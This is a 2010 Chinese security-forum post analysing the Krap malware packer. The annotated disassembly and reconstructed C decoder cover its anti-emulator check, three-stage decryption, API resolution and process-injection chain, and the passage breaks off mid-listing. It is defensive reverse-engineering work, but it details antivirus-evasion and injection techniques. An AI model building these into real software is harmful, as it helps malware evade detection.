吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 18058|回复: 36
收起左侧

[PC样本分析] krap病毒家族解密方式及ao变种分析

[复制链接]
neinei 发表于 2010-11-2 10:13
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 neinei 于 2010-11-2 10:38 编辑

今天试着登录,论坛开张了,高兴~~


注册也有一段时候了,一直没发过啥东西,甚感对不住H牛给的荣誉会员,恰好周末抓到一个packed.win32.krap.ao变种,这个8月份时进入卡巴前20恶意软件排名,很有来头,
google 一下貌似没人分析krap的解密。这里就把分析过程和大家一块交流一下。


说一下流程,否则容易乱


1 解密-(pack部分)--> 2二次解密(pack部分)--->3内存中解密(pack部分)--->4替换自身模块基址映像(pack部分)---->5注入explorer.exe(病毒自身任务完成,被删除。注入explorer也仅是为了再次注入svchost,完成后,explorer中的线程退出)----> 6 注入svchost(在这个傀儡进程里面干活是这个病毒真正的目的,下载download)


// --------开始了 -----------------------

1绕过虚拟机的解密头

    Packed.Win32.Krap 开头是个略有变化的解密头部,变化的是解密最开始绕过虚拟机的技巧。   
   
    004010AB    55              push ebp
    004010AC    8D4D E8         lea ecx,dword ptr ss:[ebp-18]
    004010AF    8365 E8 00      and dword ptr ss:[ebp-18],0
    004010B3    51              push ecx
    004010B4    51              push ecx
    004010B5    6A 00           push 0
&#160; &#160; 004010B7&#160; &#160; FF15 18314000&#160; &#160;call dword ptr ds:[<&COMCTL32.LBItemFromPt>; COMCTL32.LBItemFromPt
&#160; &#160; 004010BD&#160; &#160; FF15 F8304000&#160; &#160;call dword ptr ds:[<&WS2_32.WSAGetLastError>; WS2_32.WSAGetLastError
&#160; &#160; 004010C3&#160; &#160; 3D 78050000&#160; &#160;&#160;&#160;cmp eax,578&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 验证网络函数的LastError返回值
.--004010C8&#160; &#160; 0F85 15010000&#160; &#160;jnz __krap_.004011E3&#160; &#160; // 没有仿真该处直接被引到退出流程
|&#160; &#160;
|&#160; &#160;........
|&#160; &#160;
|&#160;&#160;//退出进程
.->004011E3&#160; &#160; FF15 04314000&#160; &#160;call dword ptr ds:[<&KERNEL32.TerminateP>; kernel32.TerminateProcess
&#160; &#160; 004011E9&#160; &#160; 8BE5&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov esp,ebp
&#160; &#160; 004011EB&#160; &#160; 5D&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;pop ebp
&#160; &#160; 004011EC&#160; &#160; C3&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;retn

&#160; &#160; 在不同的被打包的程序中,call LBItemFromPt 这处调用不断变化。例如另一个变种(Win32.LdPinch.arqy)
使用了GetEffectiveClientRect这个函数。
&#160; &#160;
&#160; &#160; WSAGetLastError比较有意思的地方是,如果上一次的调用是不同的API时,会有不同的返回值结果。
比如调用VirtualAlloc返回值是0x57,调用GetFileVerSionInfoSizeA返回值是0x714。AVer的WSAGetLastError如果
是简单函数仿真的话将被绕过。

&#160; &#160; 接着是解密前的配置工作,简单说一下思路。
&#160; &#160; 就是把这个要解密的次数,大小等信息先解密出来。以后的解密工作是根据这些配置进行的。
&#160; &#160; 我逆出来的解密配置结构大致如下,解密配置和解密后面的数据都是用的一个算法,单字节解密。
&#160; &#160;
&#160; &#160; typedef struct _decrypt_info
&#160; &#160; {
&#160; &#160;&#160; &#160; unsinged int&#160;&#160;encrypt_buff_off; 被加密数据的偏移
&#160; &#160;&#160; &#160; unsinged int&#160;&#160;encrypt_buff_len; 被加密数据的大小
&#160; &#160; }decrypt_info;

&#160; &#160; typedef struct _virus_config_info
&#160; &#160; {
&#160; &#160;&#160; &#160; unsigned int alloc_mem_len1;&#160;&#160;分配解密内存长度1
&#160; &#160;&#160; &#160; unsigned int alloc_mem_len2;&#160;&#160;分配解密内存长度2
&#160; &#160;&#160; &#160; int&#160; &#160;&#160; &#160;&#160; &#160; decryp_count&#160;&#160;;&#160;&#160;需要解密的次数
&#160; &#160;&#160; &#160; int&#160; &#160;&#160; &#160;&#160; &#160; unknown;
&#160; &#160;&#160; &#160; decrypt_info di[1]&#160; &#160;&#160; &#160;&#160; &#160;;&#160;&#160;解密需要的信息,需要解密多少次,就有decrypt_info[decryp_count]长度
&#160; &#160; }virus_config_info;&#160; &#160;
&#160; &#160;
&#160; &#160; 几个重要的数据
&#160; &#160; ebp-0x0c&#160;&#160;---&#160;&#160;记录最后key的偏移
&#160; &#160; ebp-0x10&#160;&#160;---&#160;&#160;控制解密的次数,
&#160; &#160; ebp-0x28&#160;&#160;---&#160;&#160;key的首地址
&#160; &#160;
&#160; &#160; ebp-0x1c&#160;&#160;---&#160;&#160;累加解密长度
&#160; &#160; ebp-0x18&#160;&#160;---&#160;&#160;本次解密长度
&#160; &#160;
&#160; &#160;
&#160; &#160; 004010CE&#160; &#160; 29FF&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;sub edi,edi
&#160; &#160; 004010D0&#160; &#160; 897D FC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-4],edi
&#160; &#160; 004010D3&#160; &#160; 6A 00&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 0
&#160; &#160; 004010D5&#160; &#160; 9D&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;popfd
&#160; &#160; 004010D6&#160; &#160; 81D7 0F734000&#160; &#160;adc edi,__krap_.0040730F&#160; &#160;&#160; &#160;&#160;&#160;; key 首地址+偏移
&#160; &#160; 004010DC&#160; &#160; 037D E8&#160; &#160;&#160; &#160;&#160; &#160;add edi,dword ptr ss:[ebp-18]
&#160; &#160; 004010DF&#160; &#160; 897D F4&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-C],edi&#160; &#160; ; 记录最后key的偏移
&#160; &#160; 004010E2&#160; &#160; 89E9&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,ebp
&#160; &#160; 004010E4&#160; &#160; BE A8010000&#160; &#160;&#160;&#160;mov esi,1A8
&#160; &#160; 004010E9&#160; &#160; F7DE&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;neg esi
&#160; &#160; 004010EB&#160; &#160; 01F1&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;add ecx,esi
&#160; &#160; 004010ED&#160; &#160; 894D F0&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-10],ecx&#160; &#160;; 配置段的首地址
&#160; &#160; 004010F0&#160; &#160; BE 0E734000&#160; &#160;&#160;&#160;mov esi,__krap_.0040730E
&#160; &#160; 004010F5&#160; &#160; 8975 D8&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-28],esi&#160; &#160;; key偏移减1
&#160; &#160; 004010F8&#160; &#160; 8B4D F0&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ss:[ebp-10]
&#160; &#160; 004010FB&#160; &#160; 83E9 F0&#160; &#160;&#160; &#160;&#160; &#160;sub ecx,-10
&#160; &#160; 004010FE&#160; &#160; 894D E4&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-1C],ecx
&#160; &#160; 00401101&#160; &#160; 816D FC 2800000>sub dword ptr ss:[ebp-4],28
&#160; &#160; 00401108&#160; &#160; F755 FC&#160; &#160;&#160; &#160;&#160; &#160;not dword ptr ss:[ebp-4]
&#160; &#160; 0040110B&#160; &#160; 8345 FC 01&#160; &#160;&#160; &#160;add dword ptr ss:[ebp-4],1&#160; &#160;&#160; &#160;; 得到第一次在栈中解密的长度
&#160; &#160; 0040110F&#160; &#160; FF75 D8&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-28]
&#160; &#160; 00401112&#160; &#160; FF75 FC&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-4]
&#160; &#160; 00401115&#160; &#160; FF75 F4&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-C]
&#160; &#160; 00401118&#160; &#160; 8DBD 58FEFFFF&#160; &#160;lea edi,dword ptr ss:[ebp-1A8]
&#160; &#160; 0040111E&#160; &#160; 57&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edi
&#160; &#160;
&#160; &#160; // 这里对栈中数据进行解密,就是解密配置信息
&#160; &#160; 0040111F&#160; &#160; E8 DCFEFFFF&#160; &#160;&#160;&#160;call __krap_.00401000
&#160; &#160;
&#160; &#160; 这个版本的Krap是分3段进行解密。
&#160; &#160;
&#160; &#160; 解密前的堆栈:
&#160; &#160; 0012FE18&#160;&#160;FA034B1C
&#160; &#160; 0012FE1C&#160;&#160;805B639F
&#160; &#160; 0012FE20&#160;&#160;00000001
&#160; &#160; 0012FE24&#160;&#160;E56C6946
&#160; &#160; 0012FE28&#160;&#160;8128E5B0
&#160; &#160; 0012FE2C&#160;&#160;8128E560
&#160; &#160; 0012FE30&#160;&#160;00000000
&#160; &#160; 0012FE34&#160;&#160;FF29F178
&#160; &#160; 0012FE38&#160;&#160;FF29F178
&#160; &#160; 0012FE3C&#160;&#160;FA034B34
&#160; &#160; 0012FE40&#160;&#160;805B056B
&#160; &#160;
&#160; &#160; 解密后的堆栈:&#160; &#160;
&#160; &#160; 0012FE18&#160;&#160;000013F0 ------>开始加密的代码长度&#160; &#160;&#160; &#160; --、——————长度相加,刚好是解密总长度
&#160; &#160; 0012FE1C&#160;&#160;000026C0 ------>文件内部加密的PE文件长度 --/ ------>多重加密,第一次解密后仍然是加密的
&#160; &#160; 0012FE20&#160;&#160;00000003 ------>控制解密次数
&#160; &#160; 0012FE24&#160;&#160;00001A00 ------>解密及获得API地址后,分配内存的长度
&#160; &#160; 0012FE28&#160;&#160;00004000 ------>加密数据的起始偏移,在data节中
&#160; &#160; 0012FE2C&#160;&#160;0000330E ------>第一次解密的长度
&#160; &#160; 0012FE30&#160;&#160;00002000 ------>加密数据的起始偏移,在rsrc节中
&#160; &#160; 0012FE34&#160;&#160;00000096 ------>第二次解密的长度
&#160; &#160; 0012FE38&#160;&#160;00003248 ------>加密数据的起始偏移,在rdata节中
&#160; &#160; 0012FE3C&#160;&#160;0000070C ------>第三次解密的长度
&#160; &#160;
&#160; &#160; 解密的函数比较简单,我也不知道是个啥加密算法,不多说了配合F5看一些的情况吧。
&#160; &#160;
&#160; &#160; int __stdcall decode_buff(char *alloc_buf/*解密后的数据buff*/, char *encode_buf/*加密数据*/, int size, char *key)
&#160; &#160; {
&#160; &#160;&#160; &#160;int result;&#160;&#160;
&#160; &#160;&#160; &#160;int v5;&#160; &#160;
&#160; &#160;&#160; &#160;char v6;
&#160; &#160;&#160; &#160;int _ch;&#160;&#160;
&#160; &#160;&#160; &#160;signed int eax_ret;&#160;&#160;
&#160; &#160;&#160; &#160;unsigned int index;&#160;&#160;
&#160; &#160;&#160; &#160;signed int v10;&#160;&#160;
&#160; &#160;&#160; &#160;signed int v11;

&#160; &#160;&#160; &#160;eax_ret = 0;
&#160; &#160;&#160; &#160;index = 0;
&#160; &#160;&#160; &#160;v10 = -1;
&#160; &#160;&#160; &#160;while ( index < size )
&#160; &#160;&#160; &#160;{
&#160; &#160;&#160; &#160;&#160;&#160;v6 = ~((unsigned __int8)~(unsigned __int8)*(_DWORD *)&encode_buf[index] | (unsigned __int8)~(_BYTE)v10);
&#160; &#160;&#160; &#160;&#160;&#160;_ch = *(_DWORD *)&key[eax_ret];
&#160; &#160;&#160; &#160;&#160;&#160;v11 = -1;
&#160; &#160;&#160; &#160;&#160;&#160;result = (int)&alloc_buf[index];
&#160; &#160;&#160; &#160;&#160;&#160;alloc_buf[index] = 0;
&#160; &#160;&#160; &#160;&#160;&#160;alloc_buf[index] -= ~(_BYTE)_ch + 1 + v6;
&#160; &#160;&#160; &#160;&#160;&#160;alloc_buf[index] = -alloc_buf[index];
&#160; &#160;&#160; &#160;&#160;&#160;v5 = eax_ret++ + 1;
&#160; &#160;&#160; &#160;&#160;&#160;if ( eax_ret == 1 )
&#160; &#160;&#160; &#160;&#160; &#160; eax_ret = 0;
&#160; &#160;&#160; &#160;&#160;&#160;v11 = v5;
&#160; &#160;&#160; &#160;&#160;&#160;if ( (unsigned int)eax_ret > 0x488000 )
&#160; &#160;&#160; &#160;&#160; &#160; break;
&#160; &#160;&#160; &#160;&#160;&#160;index -= v10;
&#160; &#160;&#160; &#160;}
&#160; &#160;&#160; &#160;return result;
&#160; &#160; }

&#160; &#160; 接着分配内存进行第一次解密,同时将解密过程中的信息存放的堆栈中,
&#160; &#160;
&#160; &#160; $-1AC&#160; &#160; > 00080000&#160;&#160;-------->存放当前解密次数,用于和配置中的次数相比较
&#160; &#160; ...
&#160; &#160; $-48&#160; &#160;&#160;&#160;> 00080000
&#160; &#160; $-44&#160; &#160;&#160;&#160;> 00000000
&#160; &#160; $-40&#160; &#160;&#160;&#160;> 00001FE0
&#160; &#160; $-3C&#160; &#160;&#160;&#160;> FF20B000
&#160; &#160; $-38&#160; &#160;&#160;&#160;> E1C60400
&#160; &#160; $-34&#160; &#160;&#160;&#160;> 00000001
&#160; &#160; $-30&#160; &#160;&#160;&#160;> 00000000
&#160; &#160; $-2C&#160; &#160;&#160;&#160;> 00000408
&#160; &#160; $-28&#160; &#160;&#160;&#160;> 0040730E&#160; &#160;------->加密的数据区
&#160; &#160; $-24&#160; &#160;&#160;&#160;> 00003AB0&#160; &#160;------->分配的内存长度
&#160; &#160; $-20&#160; &#160;&#160;&#160;> 00400000&#160; &#160;------->硬编码写入映像的基址例如0x400000
&#160; &#160; $-1C&#160; &#160;&#160;&#160;> 0012FE28&#160; &#160;------->存放的配置信息+0X10偏移的指针
&#160; &#160; $-18&#160; &#160;&#160;&#160;> 00000000&#160; &#160;------->解密长度的总计
&#160; &#160; $-14&#160; &#160;&#160;&#160;> 80616CDB&#160; &#160;------->分配内存的偏移0x1960处,是解密后运行的入口点
&#160; &#160; $-10&#160; &#160;&#160;&#160;> 0012FE18&#160; &#160;------->存放的配置信息
&#160; &#160; $-C&#160; &#160;&#160; &#160;> 0040730F&#160; &#160;
&#160; &#160; $-8&#160; &#160;&#160; &#160;> FFFFFFFE&#160; &#160;------->存放分配的内存的首地址
&#160; &#160; $-4&#160; &#160;&#160; &#160;> 00000028
&#160; &#160; $ ==>&#160; &#160; > 0012FFF0
&#160; &#160;
&#160; &#160; //第一次解密&#160; &#160;
&#160; &#160; 00401124&#160; &#160; 8B5D F0&#160; &#160;&#160; &#160;&#160; &#160;mov ebx,dword ptr ss:[ebp-10]
&#160; &#160; 00401127&#160; &#160; 8B5B 04&#160; &#160;&#160; &#160;&#160; &#160;mov ebx,dword ptr ds:[ebx+4]&#160; &#160; ; 从配置中取一次解密长度0x26c0
&#160; &#160; 0040112A&#160; &#160; 8B75 F0&#160; &#160;&#160; &#160;&#160; &#160;mov esi,dword ptr ss:[ebp-10]
&#160; &#160; 0040112D&#160; &#160; 031E&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;add ebx,dword ptr ds:[esi]&#160; &#160;&#160; &#160;; 累加0x13f0
&#160; &#160; 0040112F&#160; &#160; 895D DC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-24],ebx
&#160; &#160; 00401132&#160; &#160; BB 40000000&#160; &#160;&#160;&#160;mov ebx,40
&#160; &#160; 00401137&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;; 页属性,可执行,可读写
&#160; &#160; 00401138&#160; &#160; 68 00300000&#160; &#160;&#160;&#160;push 3000
&#160; &#160; 0040113D&#160; &#160; FF75 DC&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-24]
&#160; &#160; 00401140&#160; &#160; 6A 00&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 0
&#160; &#160; 00401142&#160; &#160; FF15 00314000&#160; &#160;call dword ptr ds:[<&KERNEL32.VirtualAlloc>]&#160;&#160;; kernel32.VirtualAlloc
&#160; &#160;
&#160; &#160; // ...
&#160; &#160; // 累加解密次数,和配置中的次数进行比
&#160; &#160;
&#160; &#160; 0040117E&#160; &#160; 8B79 08&#160; &#160;&#160; &#160;&#160; &#160;mov edi,dword ptr ds:[ecx+8]&#160; &#160;&#160;&#160;; 取配置中的比较次数
&#160; &#160; 00401181&#160; &#160; 39FE&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;cmp esi,edi&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; 比较解密次数
&#160; &#160; 00401183&#160; &#160; 73 2C&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnb short __krap_.004011B1
&#160; &#160; 00401185&#160; &#160; FF75 D8&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-28]&#160; &#160;&#160; &#160; ; 密钥的首地址
&#160; &#160; 00401188&#160; &#160; 8B4D E4&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ss:[ebp-1C]
&#160; &#160; 0040118B&#160; &#160; FF71 04&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ds:[ecx+4]&#160; &#160;&#160; &#160;&#160;&#160;; 解密的长度
&#160; &#160; 0040118E&#160; &#160; 8B45 E4&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-1C]
&#160; &#160; 00401191&#160; &#160; 8B5D E0&#160; &#160;&#160; &#160;&#160; &#160;mov ebx,dword ptr ss:[ebp-20]&#160; &#160; ; 基址0x400000
&#160; &#160; 00401194&#160; &#160; 0318&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;add ebx,dword ptr ds:[eax]
&#160; &#160; 00401196&#160; &#160; 53&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; ; 加密的数据
&#160; &#160; 00401197&#160; &#160; 8B75 F8&#160; &#160;&#160; &#160;&#160; &#160;mov esi,dword ptr ss:[ebp-8]
&#160; &#160; 0040119A&#160; &#160; 0375 E8&#160; &#160;&#160; &#160;&#160; &#160;add esi,dword ptr ss:[ebp-18]
&#160; &#160; 0040119D&#160; &#160; 56&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push esi
&#160; &#160; 0040119E&#160; &#160; E8 5DFEFFFF&#160; &#160;&#160;&#160;call <__krap_.decode_buff>
&#160; &#160; 004011A3&#160; &#160; 8B4D E4&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ss:[ebp-1C]&#160; &#160;&#160;&#160;; ecx -> decrypt_info * 指针
&#160; &#160; 004011A6&#160; &#160; 8B45 E8&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-18]
&#160; &#160; 004011A9&#160; &#160; 0341 04&#160; &#160;&#160; &#160;&#160; &#160;add eax,dword ptr ds:[ecx+4]
&#160; &#160; 004011AC&#160; &#160; 8945 E8&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-18],eax&#160; &#160;&#160;&#160;; 累加解密的长度
&#160; &#160; 004011AF&#160;&#160;^ EB AE&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short __krap_.0040115F
&#160; &#160;
&#160; &#160; // 等于3次后解密完毕
&#160; &#160;
&#160; &#160; 004011BF&#160; &#160; 894D EC&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-14],ecx&#160; &#160;&#160;&#160;; 解密后运行的入口点
&#160; &#160; 004011C2&#160; &#160; 8B8D 64FEFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-19C]
&#160; &#160; 004011C8&#160; &#160; 51&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ecx
&#160; &#160; 004011C9&#160; &#160; 8B5D F0&#160; &#160;&#160; &#160;&#160; &#160;mov ebx,dword ptr ss:[ebp-10]
&#160; &#160; 004011CC&#160; &#160; 8B45 F8&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-8]
&#160; &#160; 004011CF&#160; &#160; 0343 04&#160; &#160;&#160; &#160;&#160; &#160;add eax,dword ptr ds:[ebx+4]
&#160; &#160; 004011D2&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004011D3&#160; &#160; 8B45 EC&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-14]
&#160; &#160; 004011D6&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 004011D7&#160; &#160; 68 000000B8&#160; &#160;&#160;&#160;push B8000000
&#160; &#160; 004011DC&#160; &#160; FF75 EC&#160; &#160;&#160; &#160;&#160; &#160;push dword ptr ss:[ebp-14]&#160; &#160;&#160; &#160; // 压入解密后的入口点
&#160; &#160; 004011DF&#160; &#160; C2 0400&#160; &#160;&#160; &#160;&#160; &#160;retn 4&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// 跳向新的入口 00921690
&#160; &#160;
&#160;&#160;2&#160;&#160;内存中的二次解密
&#160;&#160;
&#160; &#160; 第一次解密后跳到这里:
&#160; &#160;
&#160; &#160; 00921690&#160; &#160; 55&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebp
&#160; &#160; 00921691&#160; &#160; 8BEC&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov ebp,esp
&#160; &#160; 00921693&#160; &#160; 81EC 68020000&#160; &#160;sub esp,268
&#160; &#160;
&#160; &#160; //... 无效的东西,nop掉

&#160; &#160; 009216A1&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;
&#160; &#160; 009216A2&#160; &#160; 8BC5&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov eax,ebp
&#160; &#160; 009216A4&#160; &#160; 83C0 18&#160; &#160;&#160; &#160;&#160; &#160;add eax,18
&#160; &#160; 009216A7&#160; &#160; 8985 C8FEFFFF&#160; &#160;mov dword ptr ss:[ebp-138],eax
&#160; &#160; 009216AD&#160; &#160; 58&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;pop eax
&#160; &#160; 009216AE&#160; &#160; E8 FDFEFFFF&#160; &#160;&#160;&#160;call 009215B0&#160; &#160;&#160;&#160;// 获得kernel32.dll的基址
&#160; &#160; 009216B3&#160; &#160; 8985 E8FDFFFF&#160; &#160;mov dword ptr ss:[ebp-218],eax&#160;&#160;
&#160; &#160; 009216B9&#160; &#160; E8 22FFFFFF&#160; &#160;&#160;&#160;call 009215E0&#160; &#160;&#160;&#160;// 获得ntdll.dll的基址
&#160; &#160;
&#160; &#160; // 单字节赋值,乱序的写入栈中需要的模块名称及函数名称,用来获得以后要导出的API
&#160; &#160;
&#160; &#160; 009216CD&#160; &#160; C685 2CFEFFFF 6B&#160; &#160; mov byte ptr ss:[ebp-1D4],6B
&#160; &#160; 009216D4&#160; &#160; C685 2DFEFFFF 65&#160; &#160; mov byte ptr ss:[ebp-1D3],65
&#160; &#160; 009216DB&#160; &#160; C685 2EFEFFFF 72&#160; &#160; mov byte ptr ss:[ebp-1D2],72
&#160; &#160; 009216E2&#160; &#160; C685 2FFEFFFF 6E&#160; &#160; mov byte ptr ss:[ebp-1D1],6E
&#160; &#160; 009216E9&#160; &#160; C685 30FEFFFF 65&#160; &#160; mov byte ptr ss:[ebp-1D0],65
&#160; &#160; 009216F0&#160; &#160; C685 31FEFFFF 6C&#160; &#160; mov byte ptr ss:[ebp-1CF],6C
&#160; &#160; 009216F7&#160; &#160; C685 32FEFFFF 33&#160; &#160; mov byte ptr ss:[ebp-1CE],33
&#160; &#160; 009216FE&#160; &#160; C685 33FEFFFF 32&#160; &#160; mov byte ptr ss:[ebp-1CD],32
&#160; &#160; 00921705&#160; &#160; C685 34FEFFFF 00&#160; &#160; mov byte ptr ss:[ebp-1CC],0&#160; &#160;
&#160; &#160; ...
&#160; &#160;
&#160; &#160; // 栈中数据
&#160; &#160;
&#160; &#160; 0012FC04&#160;&#160;6B 65 72 6E 65 6C 33 32 00 00 00 00 4C 6F 63 61&#160;&#160;kernel32....Loca
&#160; &#160; 0012FC14&#160;&#160;6C 41 6C 6C 6F 63 00 01 56 69 72 74 75 61 6C 41&#160;&#160;lAlloc.VirtualA
&#160; &#160; 0012FC24&#160;&#160;6C 6C 6F 63 00&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;lloc.

&#160; &#160; 0012FD15&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;4C&#160;&#160;L
&#160; &#160; 0012FD25&#160;&#160;6F 63 61 6C 46 72 65 65 00&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;ocalFree.

&#160; &#160; 0012FCA8&#160;&#160;56 69 72 74 75 61 6C 46 72 65 65 00&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;VirtualFree.

&#160; &#160; 0012FD10&#160;&#160;47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 7C&#160;&#160;GetProcAddress.|

&#160; &#160; 0012FDB8&#160;&#160;56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00&#160;&#160;VirtualProtect..

&#160; &#160; 0012FCB8&#160;&#160;55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00&#160;&#160;UnmapViewOfFile.
&#160; &#160; ...
&#160; &#160;
&#160; &#160; // 在将这些排列不连续的字符串指针,加入到一个表中留着后面使用
&#160; &#160;
&#160; &#160; $-A8&#160; &#160;&#160;&#160;> 0012FC10&#160;&#160;ASCII "LocalAlloc"
&#160; &#160; $-A4&#160; &#160;&#160;&#160;> 0012FD24&#160;&#160;ASCII "LocalFree"
&#160; &#160; $-A0&#160; &#160;&#160;&#160;> 0012FC1C&#160;&#160;ASCII "VirtualAlloc"
&#160; &#160; $-9C&#160; &#160;&#160;&#160;> 0012FCA8&#160;&#160;ASCII "VirtualFree"
&#160; &#160; $-98&#160; &#160;&#160;&#160;> 0012FD10&#160;&#160;ASCII "GetProcAddress"
&#160; &#160; $-94&#160; &#160;&#160;&#160;> 0012FDB8&#160;&#160;返回到 0012FDB8
&#160; &#160; $-90&#160; &#160;&#160;&#160;> 0012FCB8&#160;&#160;ASCII "UnmapViewOfFile"
&#160; &#160; $-8C&#160; &#160;&#160;&#160;> 0012FC2C&#160;&#160;ASCII "LoadLibraryA"
&#160; &#160; $-88&#160; &#160;&#160;&#160;> 0012FCC8&#160;&#160;ASCII "GetModuleHandleA"
&#160; &#160; $-84&#160; &#160;&#160;&#160;> 0012FBEC&#160;&#160;ASCII "LoadResource"
&#160; &#160; $-80&#160; &#160;&#160;&#160;> 0012FCDC&#160;&#160;ASCII "LockResource"
&#160; &#160; $-7C&#160; &#160;&#160;&#160;> 0012FDC8&#160;&#160;ASCII "FindResourceA"
&#160; &#160; $-78&#160; &#160;&#160;&#160;> 0012FBD4&#160;&#160;ASCII "GetProcessHeap"
&#160; &#160; $-74&#160; &#160;&#160;&#160;> 0012FCEC&#160;&#160;ASCII "RtlAllocateHeap"
&#160; &#160;
&#160; &#160; // 然后定位到自身捆绑的一个PE文件,我们这里为了区别,叫它pe_bound,这是个被UPX压缩的文件,也是加密的。
&#160; &#160;
&#160; &#160; 在内存中用那个pe_bound文件修改自身,起到内存免杀作用。
&#160; &#160; 首先,按照pe_bound的section格式,继续拷贝每一个节到自身进程空间。
&#160; &#160;&#160; &#160;
&#160; &#160; // 获得需要的API的地址
&#160; &#160;
&#160; &#160; 00921CA8&#160; &#160; E8 B3E7FFFF&#160; &#160;&#160;&#160;call 00920460&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;//GetModuleHandleA 的API地址
&#160; &#160; 00921CAD&#160; &#160; 8B8D CCFEFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-134]
&#160; &#160; 00921CB3&#160; &#160; 8941 30&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ds:[ecx+30],eax
